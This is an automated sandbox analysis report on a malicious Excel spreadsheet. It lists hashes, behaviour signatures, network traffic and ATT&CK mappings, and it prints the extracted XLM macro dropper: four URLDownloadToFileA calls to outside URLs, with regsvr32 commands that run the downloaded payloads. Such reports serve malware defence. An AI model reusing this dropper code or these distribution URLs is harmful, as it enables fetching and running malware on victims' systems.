b13a80ec8064a62693a6ac15180a6cbd48e3c0bef89be2f7c525258efc350067

General

Target

b13a80ec8064a62693a6ac15180a6cbd48e3c0bef89be2f7c525258efc350067.xls
Size

217KB
MD5

dab2910a25d6f162a6d723f803ed0416
SHA1

91fa3e449d1f226da2e265720afd7bd3c8debe74
SHA256

b13a80ec8064a62693a6ac15180a6cbd48e3c0bef89be2f7c525258efc350067
SHA512

c34c835113029a5bbc34508513de353958a217ec15e598fc83c79909fc20740d8493380c821277c452b871e78ce2f2f432bd216ccaba121814b7955ee11ea5b2
SSDEEP

6144:zKpb8rGYrMPe3q7Q0XV5xtuEsi8/dglyY+TAQXTHGUMEyP5p6f5jQmo:JbGUMVWlbo

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://aquariorecords.com.br/wp-content/A8G3ownNApEj1L4hF/", "..\oxnv1.ooccxx")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://ftp.pricoat.com.mx/Fichas/3ybJLLXu5zqqn8Sx/", "..\oxnv2.ooccxx")
3
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://armannahalpersian.ir/3H5qqUOB/", "..\oxnv3.ooccxx")
4
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://alagi.ge/application/irnz5Rs8qWvQrf/", "..\oxnv4.ooccxx")

URLs

xlm40.dropper

http://aquariorecords.com.br/wp-content/A8G3ownNApEj1L4hF/

xlm40.dropper

http://ftp.pricoat.com.mx/Fichas/3ybJLLXu5zqqn8Sx/

xlm40.dropper

http://armannahalpersian.ir/3H5qqUOB/

xlm40.dropper

http://alagi.ge/application/irnz5Rs8qWvQrf/

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3816	3104	regsvr32.exe	65
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4736	3104	regsvr32.exe	65
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3336	3104	regsvr32.exe	65
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2952	3104	regsvr32.exe	65

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3104	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3104	EXCEL.EXE
3104	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE
3104	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 3816	3104	EXCEL.EXE	68
PID 3104 wrote to memory of 3816	3104	EXCEL.EXE	68
PID 3104 wrote to memory of 4736	3104	EXCEL.EXE	69
PID 3104 wrote to memory of 4736	3104	EXCEL.EXE	69
PID 3104 wrote to memory of 3336	3104	EXCEL.EXE	70
PID 3104 wrote to memory of 3336	3104	EXCEL.EXE	70
PID 3104 wrote to memory of 2952	3104	EXCEL.EXE	71
PID 3104 wrote to memory of 2952	3104	EXCEL.EXE	71

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b13a80ec8064a62693a6ac15180a6cbd48e3c0bef89be2f7c525258efc350067.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\oxnv1.ooccxx
  2⤵
  - Process spawned unexpected child process
  PID:3816
- C:\Windows\System32\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\oxnv2.ooccxx
  2⤵
  - Process spawned unexpected child process
  PID:4736
- C:\Windows\System32\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\oxnv3.ooccxx
  2⤵
  - Process spawned unexpected child process
  PID:3336
- C:\Windows\System32\regsvr32.exe
  C:\Windows\System32\regsvr32.exe /S ..\oxnv4.ooccxx
  2⤵
  - Process spawned unexpected child process
  PID:2952

Network

DNS

aquariorecords.com.br

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

aquariorecords.com.br

IN A

Response

aquariorecords.com.br

IN A

100.126.19.237
GET

http://aquariorecords.com.br/wp-content/A8G3ownNApEj1L4hF/

EXCEL.EXE

Remote address:

100.126.19.237:80

Request

GET /wp-content/A8G3ownNApEj1L4hF/ HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: aquariorecords.com.br
Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
DNS

ftp.pricoat.com.mx

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

ftp.pricoat.com.mx

IN A

Response

ftp.pricoat.com.mx

IN A

100.90.51.226
GET

http://ftp.pricoat.com.mx/Fichas/3ybJLLXu5zqqn8Sx/

EXCEL.EXE

Remote address:

100.90.51.226:80

Request

GET /Fichas/3ybJLLXu5zqqn8Sx/ HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ftp.pricoat.com.mx
Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
DNS

armannahalpersian.ir

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

armannahalpersian.ir

IN A

Response

armannahalpersian.ir

IN A

100.67.165.3
GET

http://armannahalpersian.ir/3H5qqUOB/

EXCEL.EXE

Remote address:

100.67.165.3:80

Request

GET /3H5qqUOB/ HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: armannahalpersian.ir
Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
DNS

alagi.ge

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

alagi.ge

IN A

Response

alagi.ge

IN A

100.116.145.64
GET

http://alagi.ge/application/irnz5Rs8qWvQrf/

EXCEL.EXE

Remote address:

100.116.145.64:80

Request

GET /application/irnz5Rs8qWvQrf/ HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: alagi.ge
Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found

100.126.19.237:80

http://aquariorecords.com.br/wp-content/A8G3ownNApEj1L4hF/

http

EXCEL.EXE

836 B
368 B
11
8

HTTP Request

GET http://aquariorecords.com.br/wp-content/A8G3ownNApEj1L4hF/

HTTP Response

404
100.90.51.226:80

http://ftp.pricoat.com.mx/Fichas/3ybJLLXu5zqqn8Sx/

http

EXCEL.EXE

736 B
368 B
9
8

HTTP Request

GET http://ftp.pricoat.com.mx/Fichas/3ybJLLXu5zqqn8Sx/

HTTP Response

404
100.67.165.3:80

http://armannahalpersian.ir/3H5qqUOB/

http

EXCEL.EXE

723 B
368 B
9
8

HTTP Request

GET http://armannahalpersian.ir/3H5qqUOB/

HTTP Response

404
100.116.145.64:80

http://alagi.ge/application/irnz5Rs8qWvQrf/

http

EXCEL.EXE

729 B
368 B
9
8

HTTP Request

GET http://alagi.ge/application/irnz5Rs8qWvQrf/

HTTP Response

404

8.8.8.8:53

aquariorecords.com.br

dns

EXCEL.EXE

67 B
104 B
1
1

DNS Request

aquariorecords.com.br

DNS Response

100.126.19.237
8.8.8.8:53

ftp.pricoat.com.mx

dns

EXCEL.EXE

64 B
98 B
1
1

DNS Request

ftp.pricoat.com.mx

DNS Response

100.90.51.226
8.8.8.8:53

armannahalpersian.ir

dns

EXCEL.EXE

66 B
102 B
1
1

DNS Request

armannahalpersian.ir

DNS Response

100.67.165.3
8.8.8.8:53

alagi.ge

dns

EXCEL.EXE

54 B
78 B
1
1

DNS Request

alagi.ge

DNS Response

100.116.145.64

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3104-122-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-121-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-119-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-131-0x00007FFD28D90000-0x00007FFD28DA0000-memory.dmp

Filesize
64KB

Download
memory/3104-132-0x00007FFD28D90000-0x00007FFD28DA0000-memory.dmp

Filesize
64KB

Download
memory/3104-120-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-293-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-294-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-295-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download
memory/3104-296-0x00007FFD2BB70000-0x00007FFD2BB80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.